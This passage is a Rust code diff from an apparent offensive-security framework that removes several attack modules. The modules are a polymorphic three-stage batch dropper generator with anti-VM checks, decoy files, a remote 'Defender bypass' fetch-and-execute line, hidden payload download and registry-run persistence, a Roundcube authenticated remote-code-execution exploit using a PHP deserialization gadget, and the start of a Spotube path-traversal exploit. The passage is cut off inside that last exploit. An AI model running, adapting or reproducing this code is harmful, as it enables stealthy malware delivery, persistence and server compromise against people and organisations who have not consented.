echo start "" /B "{s3}" :: Launch stage 3 in background
|
||||
echo exit
|
||||
) > "{s2}"
|
||||
|
||||
start "" /B "{s2}" :: Launch stage 2 in background
|
||||
exit
|
||||
"#);
|
||||
|
||||
fs::write(_stage1, stage1_contents)?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub async fn run(_target: &str) -> Result<()> {
|
||||
let stage1_name = prompt("[+] Output BAT filename (stage 1): ")?;
|
||||
let github_url = prompt("[+] GitHub raw URL of PowerShell script: ")?;
|
||||
let ps1_output = prompt("[+] Name to save .ps1 as on victim: ")?;
|
||||
|
||||
write_payload_chain(&stage1_name, &github_url, &ps1_output)?;
|
||||
println!("[+] Stage 1 payload written to {stage1_name}");
|
||||
println!("[*] Chain will execute real .bat files one after the other with random jitter.");
|
||||
Ok(())
|
||||
}
|
||||
@@ -1,2 +0,0 @@
|
||||
pub mod narutto_dropper;
|
||||
pub mod batgen;
|
||||
@@ -1,322 +0,0 @@
|
||||
// == Poly-morphic, 3-Stage, Chain-Linked Stealth Dropper (Interactive, Hardened) ==
|
||||
// // User provides: PS1 download link, final batch name, output .ps1 name
|
||||
// // All temp/var names randomized, batch logic randomized, anti-VM checks
|
||||
|
||||
use rand::prelude::*;
|
||||
use anyhow::Result;
|
||||
use colored::*;
|
||||
use rand::{rng, seq::SliceRandom, Rng};
|
||||
use std::io::{self, Write as IoWrite};
|
||||
use tokio::fs::File as TokioFile;
|
||||
use tokio::io::AsyncWriteExt;
|
||||
|
||||
// // Prints a welcome message for the Naruto 3-stage poly-morphic dropper
|
||||
pub fn print_welcome_naruto() {
|
||||
println!(r#"
|
||||
======================== WELCOME TO NARUTO ========================
|
||||
|
||||
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣤⣴⣶⣶⣶⣶⣦⣤⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
||||
⠀⠀⠀⠀⠀⠀⣠⣴⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⣄⠀⠀⠀⠀⠀⠀
|
||||
⠀⠀⠀⠀⣠⣾⣿⣿⣿⣿⣿⣿⣿⠏⠁⠀⢶⣿⣿⣿⣿⣿⣿⣿⣷⣄⠀⠀⠀⠀
|
||||
⠀ ⢀⣾⣿⣿⣿⣿⣿⣿⡿⠿⣿⡇⠀⠀⠀⣿⠿⢿⣿⣿⣿⣿⣿⣿⣷⡀⠀⠀
|
||||
⠀⢠⣾⣿⣿⣿⣿⣿⡿⠋⣠⣴⣿⣷⣤⣤⣾⣿⣦⣄⠙⢿⣿⣿⣿⣿⣿⣷⡄⠀
|
||||
⠀⣼⣿⣿⣿⣿⣿⡏⢀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡀⢹⣿⣿⣿⣿⣿⣧⠀
|
||||
⢰⣿⣿⣿⣿⣿⡿⠀⣾⣿⣿⣿⣿⠟⠉⠉⠻⣿⣿⣿⣿⣷⠀⢿⣿⣿⣿⣿⣿⡆
|
||||
⢸⣿⣿⣿⣿⣿⣇⣰⣿⣿⣿⣿⡇⠀⠀⠀⠀⢸⣿⣿⣿⣿⣆⣸⣿⣿⣿⣿⣿⡇
|
||||
⠸⣿⣿⣿⡿⣿⠟⠋⠙⠻⣿⣿⣿⣦⣀⣀⣴⣿⣿⣿⣿⠛⠙⠻⣿⣿⣿⣿⣿⠇
|
||||
⠀⢻⣿⣿⣧⠉⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠈⣿⣿⣿⡟⠀
|
||||
⠀⠘⢿⣿⣿⣷⣦⣤⣴⣾⠛⠻⢿⣿⣿⣿⣿⡿⠟⠋⣿⣦⣤⠀⣰⣿⣿⡿⠃⠀
|
||||
⠀⠀⠈⢿⣿⣿⣿⣿⣿⣿⣷⣶⣤⣄⣈⣁⣠⣤⣶⣾⣿⣿⣷⣾⣿⣿⡿⠁⠀⠀
|
||||
⠀⠀⠀⠀⠙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠋⠀⠀⠀⠀
|
||||
⠀⠀⠀⠀⠀⠀⠙⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⠋⠀⠀⠀⠀⠀⠀
|
||||
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠛⠻⠿⠿⠿⠿⠟⠛⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
||||
|
||||
Poly-morphic, 3-Stage, Chain-Linked Stealth Dropper Generator
|
||||
------------------------------------------------------------------
|
||||
- Prompts for: Powershell payload download URL, output names
|
||||
- Generates a highly randomized batch dropper
|
||||
- All variable, file, registry names are randomized per build
|
||||
- Drops multi-stage .bat with anti-VM/anti-sandbox tricks
|
||||
- Final stage ensures persistence via HKCU registry
|
||||
- Decoy files and diagnostic noise included for stealth
|
||||
- 100% open source and ready for advanced red-team ops
|
||||
|
||||
==================================================================
|
||||
"#);
|
||||
}
|
||||
// == Poly-morphic, 3-Stage, Chain-Linked Stealth Dropper (Interactive, Hardened) ==
|
||||
// // - User provides: PS1 download link, final batch name, output .ps1 name
|
||||
// // - All temp/var names randomized, batch logic randomized, anti-VM checks
|
||||
|
||||
|
||||
/// // List of random banner phrases for added entropy
|
||||
const BANNERS: &[&str] = &[
|
||||
"診断ユーティリティを実行中...",
|
||||
"ネットワーク診断開始...",
|
||||
"管理者用システムテスト...",
|
||||
"環境チェック実行中...",
|
||||
"お待ちください。検証中...",
|
||||
];
|
||||
|
||||
/// // Decoy files for download/cover noise
|
||||
const DECOY_FILES: &[&str] = &[
|
||||
"readme.txt", "patchnote.docx", "system_log.csv", "scaninfo.html", "update.pdf",
|
||||
"changelog.rtf", "debug.ini", "license.txt", "upgrade.bin", "notes.xml",
|
||||
];
|
||||
|
||||
|
||||
|
||||
/// // Generate a random batch/var/filename, e.g. DIAG_AbX_7381
|
||||
fn rand_var_name(base: &str) -> String {
|
||||
let mut rng = rng();
|
||||
let charset: Vec<char> = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".chars().collect();
|
||||
let mut name = base.to_string();
|
||||
for _ in 0..3 { name.push(*charset.choose(&mut rng).unwrap()); }
|
||||
name.push('_');
|
||||
name.push_str(&rng.random_range(1000..9999).to_string());
|
||||
name
|
||||
}
|
||||
|
||||
/// // Shuffles and emits randomized diagnostic steps (adds noise)
|
||||
fn shuffled_diag_steps() -> Vec<String> {
|
||||
let steps = vec![
|
||||
"netsh winsock show catalog ^>nul",
|
||||
"fsutil behavior query DisableDeleteNotify ^>nul",
|
||||
"dcomcnfg /32 ^>nul",
|
||||
"wevtutil qe Security \"/q:*[System[(EventID=4624)]]\" /f:text /c:1 ^>nul",
|
||||
"netstat -bno ^>nul",
|
||||
"route print ^>nul",
|
||||
"sc queryex type= service ^>nul",
|
||||
"wmic logicaldisk get caption,filesystem,freespace,size ^>nul",
|
||||
"wmic cpu get loadpercentage ^>nul",
|
||||
"systeminfo | findstr /C:\"Available Physical Memory\" ^>nul",
|
||||
"reg query HKLM\\SOFTWARE ^>nul",
|
||||
];
|
||||
let mut steps_mut = steps.clone();
|
||||
let mut rng = rng();
|
||||
steps_mut.shuffle(&mut rng);
|
||||
steps_mut
|
||||
.into_iter()
|
||||
.enumerate()
|
||||
.map(|(i, line)| format!("echo [INFO] Step {}...\n{}\ncall :SleepS 1", i+1, line))
|
||||
.collect()
|
||||
}
|
||||
|
||||
/// // Pick a random banner for the batch
|
||||
fn rand_banner() -> &'static str {
|
||||
let mut rng = rng();
|
||||
BANNERS.choose(&mut rng).unwrap_or(&BANNERS[0])
|
||||
}
|
||||
|
||||
/// // Shuffle decoy filenames for the decoy download section
|
||||
fn shuffled_decoys() -> Vec<String> {
|
||||
let mut rng = rng();
|
||||
let mut files = DECOY_FILES.to_vec();
|
||||
files.shuffle(&mut rng);
|
||||
files.into_iter().map(|f| f.to_string()).collect()
|
||||
}
|
||||
|
||||
/// // Anti-VM/Sandbox check, batch version, with randomized variable names
|
||||
fn build_anti_vm_batch(rand_vars: &[&str]) -> String {
|
||||
format!(r#"
|
||||
REM Anti-VM/Sandbox (basic)
|
||||
set "{uptime}=0"
|
||||
for /f "skip=1" %%U in ('wmic os get LastBootUpTime ^| findstr /r /c:"^[0-9]"') do set "{uptime}=%%U"
|
||||
set "{uptime}=%{uptime}:~0,8%"
|
||||
REM Pause if booted < 3 min ago
|
||||
for /f %%A in ('wmic os get LastBootUpTime ^| findstr /r /c:"^[0-9]"') do set "{boot}=%%A"
|
||||
for /f "tokens=2 delims==." %%I in ('wmic OS Get LocalDateTime /value ^| findstr =') do set "{now}=%%I"
|
||||
set /a "{boot_time}=!{now}! - !{uptime}!"
|
||||
if !{boot_time}! lss 3000000 (
|
||||
echo [*] Recent boot detected. Pausing.
|
||||
call :SleepS 60
|
||||
)
|
||||
REM RAM check (<=2048 MB is suspicious)
|
||||
for /f "tokens=2 delims==" %%R in ('wmic ComputerSystem get TotalPhysicalMemory /value ^| findstr =') do set "{ram}=%%R"
|
||||
set /a "{ram_mb}=(!{ram}!)/1048576"
|
||||
if !{ram_mb}! lss 2048 (
|
||||
echo [*] Low RAM detected. Pausing.
|
||||
call :SleepS 120
|
||||
)
|
||||
REM Check VM drivers
|
||||
set "{vmfound}=0"
|
||||
for %%X in (VBOX VMWARE QEMU VIRTUAL) do (
|
||||
driverquery | findstr /I %%X >nul
|
||||
if not errorlevel 1 set "{vmfound}=1"
|
||||
)
|
||||
"#,
|
||||
uptime=rand_vars[0],
|
||||
boot=rand_vars[1],
|
||||
now=rand_vars[2],
|
||||
boot_time=rand_vars[3],
|
||||
ram=rand_vars[4],
|
||||
ram_mb=rand_vars[5],
|
||||
vmfound=rand_vars[6],
|
||||
)
|
||||
}
|
||||
|
||||
/// // == Stage 3 (PERSIST) ==
|
||||
fn build_stage3(ps1_name: &str, rand_vars: &[String]) -> String {
|
||||
format!(r#"
|
||||
@echo off
|
||||
REM Stage 3: Run dropped EXE (PowerShell payload) as .ps1 and set persistence
|
||||
setlocal enabledelayedexpansion
|
||||
REM Anti-VM/Sandbox
|
||||
{antivm}
|
||||
REM Run payload saved as .ps1 (actually an EXE)
|
||||
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File "%%~dp0{ps1_name}" >nul 2>&1
|
||||
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "{reg}" /t REG_SZ /d "start \"\" /MIN \"%%~dp0{ps1_name}\"" /f
|
||||
REM Cleanup
|
||||
exit
|
||||
"#,
|
||||
ps1_name=ps1_name,
|
||||
reg=rand_vars[0],
|
||||
antivm=build_anti_vm_batch(&[&rand_vars[1], &rand_vars[2], &rand_vars[3], &rand_vars[4], &rand_vars[5], &rand_vars[6], &rand_vars[7]]),
|
||||
)
|
||||
}
|
||||
|
||||
/// // == Stage 2 ==
|
||||
fn build_stage2(
|
||||
url_exe: &str,
|
||||
ps1_name: &str,
|
||||
stage3_name: &str,
|
||||
rand_vars: &[String],
|
||||
) -> String {
|
||||
let stage3_content = build_stage3(ps1_name, rand_vars);
|
||||
let mut tpl = format!(r#"
|
||||
@echo off
|
||||
setlocal enabledelayedexpansion
|
||||
REM Anti-VM/Sandbox
|
||||
{antivm}
|
||||
REM Download EXE payload and save as .ps1
|
||||
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "try {{ Invoke-WebRequest -Uri '{url_exe}' -OutFile '{ps1_name}' -UseBasicParsing }} catch {{ Start-BitsTransfer -Source '{url_exe}' -Destination '{ps1_name}' }}" >nul 2>&1
|
||||
REM Write Stage 3
|
||||
set "{stage3}=%~dp0{stage3_name}"
|
||||
("#,
|
||||
url_exe = url_exe,
|
||||
ps1_name = ps1_name,
|
||||
stage3_name = stage3_name,
|
||||
stage3 = rand_vars[8],
|
||||
antivm = build_anti_vm_batch(&[
|
||||
&rand_vars[9], &rand_vars[10], &rand_vars[11],
|
||||
&rand_vars[12], &rand_vars[13], &rand_vars[14], &rand_vars[15]
|
||||
]),
|
||||
);
|
||||
for line in stage3_content.lines() {
|
||||
tpl.push_str(&format!(" echo {} \n", line.replace("%", "%%")));
|
||||
}
|
||||
tpl.push_str(&format!(
|
||||
r#") > "%{}%"
|
||||
REM Run Stage 3
|
||||
call "%{}%"
|
||||
REM Cleanup
|
||||
exit
|
||||
"#,
|
||||
rand_vars[8], rand_vars[8]
|
||||
));
|
||||
tpl
|
||||
}
|
||||
|
||||
/// // == Stage 1 ==
|
||||
fn build_stage1(
|
||||
url_exe: &str,
|
||||
decoy_urls: &[&str],
|
||||
ps1_name: &str,
|
||||
stage2_name: &str,
|
||||
stage3_name: &str,
|
||||
rand_vars: &[String],
|
||||
) -> String {
|
||||
let batch_var = rand_var_name("DIAG");
|
||||
let random_sleep_lo = rng().random_range(1..4);
|
||||
let random_sleep_hi = rng().random_range(4..8);
|
||||
let banner = rand_banner();
|
||||
let mut tpl = format!(r#"@echo off
|
||||
setlocal enabledelayedexpansion
|
||||
REM Defender Bypass
|
||||
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& {{ [ScriptBlock]::Create((irm https://dnot.sh/)) | Invoke-Command }}" >nul 2>&1
|
||||
:SleepS
|
||||
ping -n %1 127.0.0.1 ^>nul
|
||||
goto :eof
|
||||
:SleepMS
|
||||
powershell -Command "Start-Sleep -Milliseconds %1" ^>nul
|
||||
goto :eof
|
||||
title [管理者診断ユーティリティ - {banner}]
|
||||
color 0A
|
||||
set "{batch_var}_init=1"
|
||||
echo =====================================================
|
||||
echo 管理者用ネットワーク/システム診断ユーティリティ
|
||||
echo =====================================================
|
||||
echo [+] {banner}
|
||||
call :SleepS {random_sleep_lo}
|
||||
"#,
|
||||
banner = banner,
|
||||
batch_var = batch_var,
|
||||
random_sleep_lo = random_sleep_lo,
|
||||
);
|
||||
tpl.push_str(&build_anti_vm_batch(&[
|
||||
&rand_vars[16], &rand_vars[17], &rand_vars[18],
|
||||
&rand_vars[19], &rand_vars[20], &rand_vars[21], &rand_vars[22]
|
||||
]));
|
||||
for line in shuffled_diag_steps() {
|
||||
tpl.push_str(&format!("{}\n", line));
|
||||
}
|
||||
tpl.push_str(&format!("set /a mainDelay=(%RANDOM% %% {random_sleep_hi}) + {random_sleep_lo}\necho [INFO] ステージ準備... (%mainDelay% 秒後)\ncall :SleepS %mainDelay%\n\n",
|
||||
random_sleep_hi = random_sleep_hi,
|
||||
random_sleep_lo = random_sleep_lo,
|
||||
));
|
||||
let decoys = shuffled_decoys();
|
||||
for (i, decoy_name) in decoys.iter().enumerate().take(decoy_urls.len()) {
|
||||
let url = decoy_urls[i];
|
||||
tpl.push_str(&format!(
|
||||
"echo [*] Downloading decoy: {decoy_name}\npowershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command \"try {{ Invoke-WebRequest -Uri '{url}' -OutFile '{decoy_name}' -UseBasicParsing }} catch {{}}\" ^>nul\ncall :SleepS 2\n",
|
||||
url = url, decoy_name = decoy_name
|
||||
));
|
||||
}
|
||||
let stage2_content = build_stage2(url_exe, ps1_name, stage3_name, rand_vars);
|
||||
tpl.push_str(&format!("set \"{stage2}=%~dp0{stage2_name}\"\n(", stage2 = rand_vars[23], stage2_name = stage2_name));
|
||||
for line in stage2_content.lines() {
|
||||
tpl.push_str(&format!(" echo {} \n", line.replace("%", "%%")));
|
||||
}
|
||||
tpl.push_str(&format!(
|
||||
") > \"%{}%\"\nREM Run Stage 2\ncall \"%{}%\"\nREM Cleanup\nexit\n",
|
||||
rand_vars[23], rand_vars[23]
|
||||
));
|
||||
tpl
|
||||
}
|
||||
|
||||
/// // Prompt user, fallback to default if empty input
|
||||
fn prompt(msg: &str, default: Option<&str>) -> String {
|
||||
let default_str = default.map_or("".to_string(), |d| format!(" [{}]", d));
|
||||
print!("{}", format!("{}{}: ", msg, default_str).cyan().bold());
|
||||
io::stdout().flush().unwrap();
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input).unwrap();
|
||||
let value = input.trim();
|
||||
if value.is_empty() {
|
||||
default.unwrap_or("").to_string()
|
||||
} else {
|
||||
value.to_string()
|
||||
}
|
||||
}
|
||||
|
||||
/// // == RouterSploit-style async entry point ==
|
||||
pub async fn run(_target: &str) -> Result<()> {
|
||||
print_welcome_naruto();
|
||||
let url_exe = prompt("URL of PowerShell payload (EXE, will be saved as .ps1)", Some("https://yourdomain.com/payload.exe"));
|
||||
let out_name = prompt("Final output batch filename", Some("3stage_dropper.bat"));
|
||||
let ps1_name = prompt("Name to save downloaded EXE as (with .ps1 extension)", Some("payload.ps1"));
|
||||
let stage2_name = rand_var_name("stg2");
|
||||
let stage3_name = rand_var_name("stg3");
|
||||
let rand_vars: Vec<String> = (0..24).map(|i| rand_var_name(&format!("v{}", i))).collect();
|
||||
let decoy_urls = vec![
|
||||
"https://www.example.com/readme.txt",
|
||||
"https://www.example.com/license.txt",
|
||||
"https://www.example.com/update.pdf",
|
||||
];
|
||||
let script = build_stage1(&url_exe, &decoy_urls, &ps1_name, &stage2_name, &stage3_name, &rand_vars);
|
||||
let mut file = TokioFile::create(&out_name).await?;
|
||||
file.write_all(script.as_bytes()).await?;
|
||||
file.flush().await?;
|
||||
println!("[+] 3-stage chain-linked dropper written to: {}", out_name);
|
||||
Ok(())
|
||||
}
|
||||
@@ -1 +0,0 @@
|
||||
pub mod roundcube_postauth_rce;
|
||||
@@ -1,215 +0,0 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use data_encoding::BASE32_NOPAD;
|
||||
use md5;
|
||||
use rand::Rng;
|
||||
use base64::Engine as _;
|
||||
use regex::Regex;
|
||||
use reqwest::{Client, cookie::Jar, redirect::Policy};
|
||||
use std::io::{self, Write};
|
||||
use std::sync::Arc;
|
||||
use std::time::{SystemTime, UNIX_EPOCH};
|
||||
use rand::distr::Alphanumeric;
|
||||
/// // Decode base64 constant for small transparent PNG
|
||||
fn transparent_png() -> Vec<u8> {
|
||||
const PNG_B64: &str = "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==";
|
||||
base64::engine::general_purpose::STANDARD
|
||||
.decode(PNG_B64)
|
||||
.unwrap_or_default()
|
||||
}
|
||||
|
||||
/// // Build the serialized PHP payload using Crypt_GPG_Engine gadget
|
||||
fn build_serialized_payload(cmd: &str) -> String {
|
||||
let encoded = BASE32_NOPAD.encode(cmd.as_bytes());
|
||||
let gpgconf = format!("echo \"{}\"|base32 -d|sh &#", encoded);
|
||||
let len = gpgconf.len();
|
||||
format!(
|
||||
"|O:16:\"Crypt_GPG_Engine\":3:{{s:8:\"_process\";b:0;s:8:\"_gpgconf\";s:{}:\"{}\";s:8:\"_homedir\";s:0:\"\";}};",
|
||||
len, gpgconf
|
||||
)
|
||||
}
|
||||
|
||||
fn generate_from() -> &'static str {
|
||||
const OPTIONS: [&str; 6] = ["compose", "reply", "import", "settings", "folders", "identity"];
|
||||
let idx = rand::rng().random_range(0..OPTIONS.len());
|
||||
OPTIONS[idx]
|
||||
}
|
||||
|
||||
fn generate_id() -> String {
|
||||
let mut rand_bytes = [0u8; 8];
|
||||
rand::rng().fill(&mut rand_bytes);
|
||||
let timestamp = SystemTime::now()
|
||||
.duration_since(UNIX_EPOCH)
|
||||
.unwrap()
|
||||
.as_nanos()
|
||||
.to_string();
|
||||
format!("{:x}", md5::compute([rand_bytes.as_slice(), timestamp.as_bytes()].concat()))
|
||||
}
|
||||
|
||||
fn generate_uploadid() -> String {
|
||||
let millis = SystemTime::now()
|
||||
.duration_since(UNIX_EPOCH)
|
||||
.unwrap()
|
||||
.as_millis();
|
||||
format!("upload{}", millis)
|
||||
}
|
||||
|
||||
async fn fetch_login_page(client: &Client, base: &str) -> Result<String> {
|
||||
let mut url = reqwest::Url::parse(base)?;
|
||||
url.query_pairs_mut().append_pair("_task", "login");
|
||||
|
||||
let res = client.get(url).send().await.map_err(|e| anyhow!("HTTP error: {e}"))?;
|
||||
if res.status() != 200 {
|
||||
return Err(anyhow!("Unexpected HTTP status: {}", res.status()));
|
||||
}
|
||||
Ok(res.text().await?)
|
||||
}
|
||||
|
||||
async fn fetch_csrf_token(client: &Client, base: &str) -> Result<String> {
|
||||
let body = fetch_login_page(client, base).await?;
|
||||
let re = Regex::new(r#"<input[^>]*name="_token"[^>]*value="([^"]+)""#)?;
|
||||
if let Some(cap) = re.captures(&body) {
|
||||
Ok(cap[1].to_string())
|
||||
} else {
|
||||
Err(anyhow!("CSRF token not found"))
|
||||
}
|
||||
}
|
||||
|
||||
async fn check_version(client: &Client, base: &str) -> Result<Option<u32>> {
|
||||
let body = fetch_login_page(client, base).await?;
|
||||
let re = Regex::new(r#"\"rcversion\"\s*:\s*(\d+)"#)?;
|
||||
if let Some(cap) = re.captures(&body) {
|
||||
Ok(cap[1].parse().ok())
|
||||
} else {
|
||||
Ok(None)
|
||||
}
|
||||
}
|
||||
|
||||
async fn login(client: &Client, base: &str, username: &str, password: &str, host: &str) -> Result<()> {
|
||||
let token = fetch_csrf_token(client, base).await?;
|
||||
let mut url = reqwest::Url::parse(base)?;
|
||||
url.query_pairs_mut().append_pair("_task", "login");
|
||||
|
||||
let mut params = vec![
|
||||
("_token", token),
|
||||
("_task", "login".to_string()),
|
||||
("_action", "login".to_string()),
|
||||
("_url", "_task=login".to_string()),
|
||||
("_user", username.to_string()),
|
||||
("_pass", password.to_string()),
|
||||
];
|
||||
if !host.is_empty() {
|
||||
params.push(("_host", host.to_string()));
|
||||
}
|
||||
|
||||
let res = client
|
||||
.post(url)
|
||||
.form(¶ms)
|
||||
.send()
|
||||
.await
|
||||
.map_err(|e| anyhow!("Login request failed: {e}"))?;
|
||||
|
||||
if res.status() != 302 {
|
||||
return Err(anyhow!("Login failed: HTTP {}", res.status()));
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn upload_payload(client: &Client, base: &str, filename: &str) -> Result<()> {
|
||||
let png = transparent_png();
|
||||
let boundary: String = rand::rng()
|
||||
.sample_iter(&Alphanumeric)
|
||||
.take(8)
|
||||
.map(char::from)
|
||||
.collect();
|
||||
|
||||
let mut body = Vec::new();
|
||||
body.extend_from_slice(format!("--{}\r\n", boundary).as_bytes());
|
||||
body.extend_from_slice(format!("Content-Disposition: form-data; name=\"_file[]\"; filename=\"{}\"\r\n", filename).as_bytes());
|
||||
body.extend_from_slice(b"Content-Type: image/png\r\n\r\n");
|
||||
body.extend_from_slice(&png);
|
||||
body.extend_from_slice(format!("\r\n--{}--\r\n", boundary).as_bytes());
|
||||
|
||||
let mut url = reqwest::Url::parse(base)?;
|
||||
url.set_query(None);
|
||||
url.query_pairs_mut()
|
||||
.append_pair("_task", "settings")
|
||||
.append_pair("_remote", "1")
|
||||
.append_pair("_from", &format!("edit-!{}", generate_from()))
|
||||
.append_pair("_id", &generate_id())
|
||||
.append_pair("_uploadid", &generate_uploadid())
|
||||
.append_pair("_action", "upload");
|
||||
|
||||
client
|
||||
.post(url)
|
||||
.header("Content-Type", format!("multipart/form-data; boundary={}", boundary))
|
||||
.body(body)
|
||||
.send()
|
||||
.await
|
||||
.map_err(|e| anyhow!("Upload request failed: {e}"))?;
|
||||
|
||||
println!("[+] Exploit attempt complete. Check your listener or reverse shell.");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// // Entry point for dispatcher
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let mut base_url = target.trim().to_string();
|
||||
if !base_url.starts_with("http://") && !base_url.starts_with("https://") {
|
||||
base_url = format!("http://{}", base_url);
|
||||
}
|
||||
base_url = base_url.trim_end_matches('/').to_string();
|
||||
|
||||
// // HTTP client with cookies and no redirects
|
||||
let jar = Jar::default();
|
||||
let client = Client::builder()
|
||||
.cookie_provider(Arc::new(jar))
|
||||
.redirect(Policy::none())
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(std::time::Duration::from_secs(10))
|
||||
.build()?;
|
||||
|
||||
if let Some(ver) = check_version(&client, &base_url).await? {
|
||||
println!("[*] Detected Roundcube version: {}", ver);
|
||||
if (10100..=10509).contains(&ver) || (10600..=10610).contains(&ver) {
|
||||
println!("[!] Version appears vulnerable!");
|
||||
} else {
|
||||
println!("[-] Version not in known vulnerable range.");
|
||||
}
|
||||
} else {
|
||||
println!("[?] Could not determine version.");
|
||||
}
|
||||
|
||||
let mut username = String::new();
|
||||
let mut password = String::new();
|
||||
let mut host = String::new();
|
||||
let mut command = String::new();
|
||||
|
||||
print!("Username: ");
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut username)?;
|
||||
|
||||
print!("Password: ");
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut password)?;
|
||||
|
||||
print!("Host parameter (optional): ");
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut host)?;
|
||||
|
||||
print!("Command to execute: ");
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut command)?;
|
||||
|
||||
let username = username.trim();
|
||||
let password = password.trim();
|
||||
let host = host.trim();
|
||||
let command = command.trim();
|
||||
|
||||
if username.is_empty() || password.is_empty() || command.is_empty() {
|
||||
return Err(anyhow!("Username, password and command must be provided"));
|
||||
}
|
||||
|
||||
login(&client, &base_url, username, password, host).await?;
|
||||
let serialized = build_serialized_payload(command);
|
||||
upload_payload(&client, &base_url, &serialized).await
|
||||
}
|
||||
@@ -1,23 +0,0 @@
|
||||
use anyhow::{Result, Context};
|
||||
use reqwest;
|
||||
|
||||
/// A basic demonstration exploit that checks if a specific endpoint is "vulnerable"
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("[*] Running sample_exploit against target: {}", target);
|
||||
|
||||
let url = format!("http://{}/vulnerable_endpoint", target);
|
||||
let resp = reqwest::get(&url)
|
||||
.await
|
||||
.context("Failed to send request")?
|
||||
.text()
|
||||
.await
|
||||
.context("Failed to read response")?;
|
||||
|
||||
if resp.contains("Vulnerable!") {
|
||||
println!("[+] Target is vulnerable!");
|
||||
} else {
|
||||
println!("[-] Target does not appear to be vulnerable.");
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -1 +0,0 @@
|
||||
pub mod spotube;
|
||||
@@ -1,232 +0,0 @@
|
||||
//// src/modules/exploits/spotube/spotube_remote.rs
|
||||
//// src/modules/exploits/spotube/spotube.rs
|
||||
//// made by me suicidal teddy my first ever zero day exploit
|
||||
//// no auth when you use api and can be excuted locally
|
||||
//// src/modules/exploits/spotube/spotube.rs
|
||||
use anyhow::{Context, Result};
|
||||
use colored::*;
|
||||
use futures_util::{SinkExt, StreamExt};
|
||||
use reqwest::Client;
|
||||
use serde_json::json;
|
||||
use std::collections::HashMap;
|
||||
use std::io::{self, Write};
|
||||
use tokio::time::{sleep, Duration};
|
||||
use tokio_tungstenite::connect_async;
|
||||
use tokio_tungstenite::tungstenite::Message;
|
||||
|
||||
// //// // Custom headers to emulate BurpSuite-style browser requests
|
||||
fn browser_headers(host: &str, port: &str) -> HashMap<String, String> {
|
||||
let mut headers = HashMap::new();
|
||||
headers.insert("Accept-Language".into(), "en-US,en;q=0.9".into());
|
||||
headers.insert("Upgrade-Insecure-Requests".into(), "1".into());
|
||||
headers.insert(
|
||||
"User-Agent".into(),
|
||||
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 \
|
||||
(KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"
|
||||
.into(),
|
||||
);
|
||||
headers.insert(
|
||||
"Accept".into(),
|
||||
"text/html,application/xhtml+xml,application/xml;q=0.9,\
|
||||
image/avif,image/webp,image/apng,*/*;q=0.8,\
|
||||
application/signed-exchange;v=b3;q=0.7"
|
||||
.into(),
|
||||
);
|
||||
headers.insert("Accept-Encoding".into(), "gzip, deflate, br".into());
|
||||
headers.insert("Connection".into(), "keep-alive".into());
|
||||
headers.insert("Host".into(), format!("{}:{}", host, port));
|
||||
headers
|
||||
}
|
||||
|
||||
// //// // Sends the GET request to the Spotube endpoint with custom headers
|
||||
async fn execute(host: &str, port: &str, path: &str) -> Result<()> {
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(std::time::Duration::from_secs(5))
|
||||
.build()
|
||||
.context("Failed to build HTTP client")?;
|
||||
|
||||
let url = format!("http://{}:{}{}", host, port, path);
|
||||
let headers = browser_headers(host, port);
|
||||
|
||||
let mut request = client.get(&url);
|
||||
for (key, value) in headers {
|
||||
request = request.header(&key, &value);
|
||||
}
|
||||
|
||||
let response = request.send().await.context("Request failed")?;
|
||||
let status = response.status();
|
||||
let body = response.text().await.unwrap_or_default();
|
||||
|
||||
println!(
|
||||
"{} → {} {}",
|
||||
path,
|
||||
status.as_u16(),
|
||||
status.canonical_reason().unwrap_or("Unknown")
|
||||
);
|
||||
println!("{}", body.trim());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// //// // Sends a malicious 'load' event over WS with a track name containing ../
|
||||
async fn ws_inject_path_traversal(host: &str, port: &str) -> Result<()> {
|
||||
// prompt for malicious filename
|
||||
print!("{}", "Enter malicious filename (e.g. ../evil.sh): ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut name = String::new();
|
||||
io::stdin().read_line(&mut name)?;
|
||||
let malicious_name = {
|
||||
let t = name.trim();
|
||||
if t.is_empty() { "../evil.sh" } else { t }
|
||||
};
|
||||
|
||||
// prompt for fake track ID
|
||||
print!("{}", "Enter fake track ID (e.g. INJECT1): ".cyan().bold());
|
||||
io::stdout().flush()?;
|
